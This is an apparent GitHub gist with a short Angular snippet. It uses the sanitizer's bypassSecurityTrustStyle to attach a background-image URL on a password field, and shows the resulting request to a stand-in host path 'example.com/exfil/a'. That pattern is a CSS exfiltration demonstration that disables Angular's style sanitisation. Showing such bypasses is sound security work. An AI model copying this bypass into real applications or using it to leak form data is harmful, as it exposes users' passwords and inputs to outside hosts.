Skip to content

Instantly share code, notes, and snippets.

@lsg-vtaran
Created June 9, 2023 08:09
Show Gist options
  • Save lsg-vtaran/071dc560206a64efd175868c74c3fe4d to your computer and use it in GitHub Desktop.
Save lsg-vtaran/071dc560206a64efd175868c74c3fe4d to your computer and use it in GitHub Desktop.
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//result
Request URL: GET example.com/exfil/a
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment